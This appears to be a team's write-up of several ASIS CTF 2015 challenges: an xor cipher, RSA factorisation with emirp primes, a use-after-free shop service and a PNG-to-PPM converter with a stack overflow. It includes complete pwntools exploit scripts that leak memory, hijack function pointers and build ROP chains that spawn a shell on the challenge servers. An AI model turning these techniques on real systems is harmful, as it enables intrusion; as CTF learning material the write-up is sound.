This challenge was solved by and the write up was written by one of my teammates, NGG

This was a simple xor-cipher, but each word had a different 1-byte xor-key.

This python code printed out lots of possibilities.

x = '110d00_000a0701_1a00_00120812_171b1a171500111a150011_001b_071006001901_0900_787100_00091b00_00130805120f0908_0900_5143594353445602000105_140b0a000b_00021500151e141514_1b00_0a15000b0b0c0b02_1000131117_000f05_0a030000031b0908_001b_101f1c001a1d14_435340424400'
for i in xrange(32, 128):
    print map(lambda y: ''.join(map(lambda c: chr(ord(c)^i), binascii.unhexlify(y))), x.split('_'))

Going through the results by hand, I could restore an english sentence which meant that the flag is

ASIS{md5(asisctf2015)} = ASIS{7fc5bed10f3d903f1e69190a16562fcb}

The second part of the challenge was exploiting a UAF (use-after-free) vulnerability.

This could be triggered if the admin deleted a “Bragisdumu” (btw what is a Bragisdumu!? :D).

But there were some restrictions, for example: the admin could only delete items if there were no stock of it, so we had to buy them first. But you could not buy any amount of them, only 16, so you had to buy the Knight Rider one.

Although the program tried to nullify the object, but it did not nullify the pointer, but the active field of the pointed object. And then deleted the object. So it did not trigged the vulnerability by itself, you also had to use a long enough username + password.

To make the exploit stable I had to leak some addresses. To do this I overwrite the whole item structure until the ptr value:

00000000 Item            struc ; (sizeof=0x88)   ; XREF: .data:globItemStructs9r
00000000 idx             dd ?                    ; XREF: .data:globItemPtrs16o
00000004 inited          db ?
00000005 name            db 100 dup(?)
00000069 mostPopular     db ?
0000006A align1          db 6 dup(?)
00000070 price           dq ?
00000078 stock           dd ?
0000007C align2          dd ?
00000080 ptr             dq ?
00000088 Item            ends

This way the address of the KnightRider preview function is leaked out, then I logged out and logged in with username which overwrite the preview function call (0x1275) to printf in the PLT (0xda0). As the parameter for this call is the Item structure’s address which is fully controlled by me I could sent in a format string which contained a lot of “%p”’s, thus leaking out the libc base address from the stack (among other things).

Then in the next round I simple overwrite the pointer with the calculated system address and got a shell :)

The flag was:

ASIS{5249b4cc1527739c57fbd04ab14292ca}

Exploit code

#!/usr/bin/env python
from pwn import *
import re

adminPass = "ASIS{304b0f16eb430391c6c86ab0f3294211}"

r = remote('185.106.120.220', 1337)

r.send("guest\nguest\n2\n3\n2\n3\n8\nadmin\n"+adminPass+"\n5\n3\n8\nguest\nguest"+"A"*31+"\x01"+"C"*267+"\n3\n")
result = r.recvuntil("your orders?")
KnightRiderAddrStr = re.search('CCCC+(.*?), price', result, re.DOTALL).group(1) + '\x00\x00'
print 'KnightRider str = %r' % KnightRiderAddrStr
KnightRiderAddr = u64(KnightRiderAddrStr)
printfAddr = KnightRiderAddr - 0x1275 + 0xda0
print 'KnightRider addr = %x' % KnightRiderAddr
print 'printf addr = %x' % printfAddr

fs="%p|"*30;
r.send("0\n8\nguest\nguest"+"A"*31+"\x01|"+fs+"D"*(122-len(fs))+p64(printfAddr)+"\n3\n1\n")
r.recvuntil("your orders?")
leaks = r.recvline().split('|')
print leaks
baseLeak = int(leaks[4][2:], 16)
print "leak = %x" % baseLeak
systemAddr = baseLeak - 0x7ffff7dd4060 + 0x7ffff7a5b640
print "system = %x" % systemAddr

r.send("8\nguest\nguest"+"A"*27+"sh\x00\x00\x01"+"C"*123+p64(systemAddr)+"\n3\n1\n")
r.recvuntil("your orders?")
r.send('cat flag\n')
print 'Flag =' + r.recvline()
r.interactive()

The main vulnerability for getting the admin password is that if you send in a maximum length username (32 bytes) and password (64 bytes) then no string terminating null character was written. Also, usernames and passwords were checked with memcpy and exact length instead of strcpy.

As the program prints out the logged in username this leads to leaking out the next value in the stack: the memcmp result of the admin password.

char username[32]; // [sp+20h] [bp-70h]@3
char password[64]; // [sp+40h] [bp-50h]@3
int memcmpResult; // [sp+80h] [bp-10h]@5

So the attack was basically:

  • try to login with admin and the password you leaked so far (empty at first) plus “~” (0x7e)
    • although this will lead to failed login, the memcpy result won’t be cleared
    • I am using 0x7e because it is the last readable ASCII character and comparison with password will give smaller results
  • try to login with username “guest” + “A”(32-5) and password “guest” + “A”(64-5)
  • read the leaked value, this will be the positive difference between “~” and the next character from the password
  • logout and try again, until you found the password and can login as admin :)

The admin password (=flag):

ASIS{304b0f16eb430391c6c86ab0f3294211}

Exploit code

#!/usr/bin/env python
from pwn import *
import re

adminPass = ""
foundPass = False

r = remote('185.106.120.220', 1337)

def getResult(currPass):
    global foundPass
    r.recvuntil("Username:")
    password = "guest"+"A"*(64-5)
    r.send("admin\n"+currPass+"\nguest"+"A"*(32-5)+"\n"+password+"\n8\n")
    if not "Unknown username" in r.recvline():
        foundPass = True
        return "x"

    r.recvuntil("in as guest")
    result = r.recvline()[:-1].split(password)[1]
    return result

chars = [chr(x) for x in xrange(32,127)]
print "Chars = %s" % chars

for i in xrange(45):
    result = getResult(adminPass + "~")
    if foundPass:
        break
    nextChar = chr(ord("~") - ord(result[0]))
    adminPass += nextChar
    print "found char = %s => %s (calc)" % (nextChar, adminPass)

if foundPass:
    print "Admin password = %s" % adminPass
else:
    print "Admin password not found :("

This challenge was solved by and the write up was written by one of my teammates, NGG.

The task was to factorize an RSA public key, but we knew that the primes were emirps (https://en.wikipedia.org/wiki/Emirp).

This can be done by a simple backtrack algorithm, we try to guess the digits of both primes starting from the outermost.

KT’s note: we found out that they were emirps by factorizing some small public moduluses with Yafu. And we had to factorize only one public key as the cipher text was 129 bytes, but only 1028 bits (started with 08 which is ~4 bits) and the smallest public key which was larger than 1028 bits was the n in the python code (it is ~1029 bits btw).

n = 6528060431134312098979986223024580864611046696815854430382374273411300418237131352745191078493977589108885811759425485490763751348287769344905469074809576433677010568815441304709680418296164156409562517530459274464091661561004894449297362571476259873657346997681362092440259333170797190642839587892066761627543
def t(a, b, k):
	# sqrt(n) has 155 digits, so we need to figure out 77 digits on each side
    if k == 77:
        if a*b == n:
            print a, b
        return
    for i in xrange(10):
        for j in xrange(10):
			# we try to guess the last not-already-guessed digits of both primes
            a1 = a + i*(10**k) + j*(10**(154-k))
            b1 = b + j*(10**k) + i*(10**(154-k))
            if a1*b1 > n:
				# a1 and b1 are too large
                continue
            if (a1+(10**(154-k)))*(b1+(10**(154-k))) < n:
				# a1 and b1 are too small
                continue
            if ((a1*b1)%(10**(k+1))) != (n%(10**(k+1))):
				# The last digits of a1*b1 (which won't change later) doesn't match n
                continue
			# this a1 and b1 seem to be a possible match, try to guess remaining digits
            t(a1, b1, k+1)

# the primes have odd number of digits (155), so we try all possible middle digits (it simplifies the code)
for i in xrange(10):
    t(i*(10**77), i*(10**77), 0)
p = 72432241732033981541049204016745025006867436329489703868293535625696723664804764149457845005290546241606890061226796845022216057745054630401792003744462109
q = 90126444730029710403645054775061222054869762216009860614264509250054875494146740846632769652653539286830798492363476860052054761040294014518933023714223427

And the flag was:

ASIS{e3bdadf44ee8d2e097096b4d82efd8ed}

This challenge was an image conversion service which expected a PNG file and converted into a PPM file. PPM is a simple text-based image format, here is the wikipedia page describing it: https://en.wikipedia.org/wiki/Netpbm_format

The main vulnerability was a stack buffer overflow, because it allocated a buffer with the size of width * height * bitsPerPixel and copied the PNG’s decompressed zlib data (except the filter field) to the buffer which does not respected the allocated buffer’s size.

The main problem was that we also overwrote the stack canary and it was a 64-bit ASLR-enabled PIE binary (as the challenge website stated so) which did not fork, so new canary generated for every new connection:

alt

Luckily there was an other vulnerability: the PNG file format uses a method called Filtering which can help to reduce the size of the file by only storing the differences with the pixel to the left or the pixel above etc. You can read about it here: https://en.wikipedia.org/wiki/Portable_Network_Graphics#Filtering

So if we tried to read the previous row in first row, then it read before our buffer. This way we could read the stack cookie from the previous function call. Although I am not 100% sure, but I think the binary was compiled with -fstack-protector-all, because there was stack cookie in every function. In this case maybe this paranoid setting caused more harm than good… :)

I had to experiment a bit with the width / height / with or without alpha channel options. As I had to switch between the “copy the above line” (2) filter (for the stack cookie) and “copy the exact values” (0) filter (for the return address). Finally I created a 6*1 PNG with alpha channel.

This way we could overwrite the stack cookie and we had RIP control. BUT as the binary was a PIE binary we had not fix addresses where we could jump. Or do we?

Basically the return address points to a valid memory address, to the next instruction after the sub_1560 call. So if we partially overwrite the return address, we can jump somewhere in the png2ppm binary.

Practically I jumped to the program’s start again as at this point I already had a lot of leaked addresses as the result of the conversion contained the stack cookie, an address from the stack, and an address from the png2ppm binary (although I had to mix the address bytes from the pixelmap and the alpha map, because the conversion divided the values into two different files).

Only one thing separated me from getting a shell: a libc address :)

Because I know the program’s base address at this point, I could jump to the puts PLT and print out the GOT table. So I got the puts function’s libc address and calculated the system’s address from it.

So in the next ROP chain I could call the system with “sh”. For this I had to calculate the “sh” string’s address from the stack (I could calculate this, because I already had a stack address leak).

Because of the partial overwrite, I also overwrote 4 bits from the ASLR random part, so for the real server I had to run the exploit multiple times to hit the correct address with a 1/16 change (locally I debugged it with disabled ASLR).

Finally I could print the flag out:

ASIS{487e532d3aae05f1717f46104ba4ebf6}

Exploit code

import sys
import binascii
import struct
import zlib
from pwn import *
from time import sleep

for iTry in xrange(64):
    print "Try #%d / 64" % (iTry + 1)
    try:
        p = remote('185.106.120.22', 1337)

        time.sleep(0.5)

        def getChunk(data):
            return struct.pack('>I', len(data) - 4) + data + struct.pack('>i', binascii.crc32(data))

        def convertPng(width, height, plain):
            pngHdr = "\x89PNG\x0d\x0a\x1a\x0a";
            iHdr = getChunk("IHDR" + struct.pack('>II', width, height) + "\x08\x06\x00\x00\x00")
            iDat = getChunk("IDAT" + zlib.compress(plain))
            iEnd = getChunk("IEND")
            pngData = pngHdr + iHdr + iDat + iEnd
            p.send(str(len(pngData)) + '\n' + pngData)

        #system = "\x2e\x5d"
        mainPart = "\x79\x5a"

        convertPng(6, 1, ("\x02" + "\x00" * 24) * 6 + "\x00"*9 + mainPart)

        p.recvuntil('\n255\n')
        leakLine1 = p.recvline().strip()
        p.recvuntil('\n255\n')
        leakLine2 = p.recvline().strip()
        print "Leak lines = %r, %r" % (leakLine1, leakLine2)

        leakStr1 = ''.join([chr(int(x)) for x in leakLine1.split(' ')])
        leakStr2 = ''.join([chr(int(x)) for x in leakLine2.split(' ')])
        cookieLeak = u64(leakStr1[0:3]+leakStr2[0]+leakStr1[3:6]+leakStr2[1])
        stackBase = u64(leakStr1[6:9]+leakStr2[2]+leakStr1[9:12]+leakStr2[3]) - 0x1fc60 - 0x480
        prgBase = u64(leakStr1[12:15]+leakStr2[4]+leakStr1[15:18]+leakStr2[5]) - 0x184e
        print "Leaks: cookie = 0x%016x, stack = 0x%016x, prg = 0x%016x" % (cookieLeak, stackBase, prgBase)

        puts = prgBase + 0xa20
        putsGot = prgBase + 0x202f48
        popRdi = prgBase + 0x1b53
        main = prgBase + (((ord(mainPart[1]) - 0x40) << 8) + ord(mainPart[0]))
        rbx = "BBBBBBBB"
        rbp = "CCCCCCCC"
        ret = "DDDDDDDD"

        convertPng(64, 1, "\x00"*(1+64*4)+"\x00" + "X"*80 + p64(cookieLeak) + "XXXXXXXX"+rbx+rbp+p64(popRdi)+p64(putsGot)+p64(puts)+p64(main))
        p.recvuntil('\n255\n')
        p.recvuntil('\n255\n')
        p.recvline()
        putsLeak = u64(p.recvline()[:-1]+'\x00'*2)
        print "puts leak = 0x%016x" % putsLeak

        putsLocal = 0x7ffff786be30
        systemLocal = 0x7ffff7842640
        remoteSystem = putsLeak - putsLocal + systemLocal

        stackBaseLocal = 0x7ffffffde000
        binShLocal = 0x7fffffffe0e8
        binShRemote = stackBase - stackBaseLocal + binShLocal

        convertPng(64, 1, "\x00"*(1+64*4)+"\x00" + "X"*80 + p64(cookieLeak) + "XXXXXXXX"+rbx+rbp+p64(popRdi)+p64(binShRemote)+p64(remoteSystem)+"sh\x00")

        p.send('cat flag\n')
        p.interactive()
        break
    except:
        try:
            p.close()
        except:
            pass
        print "Fail!"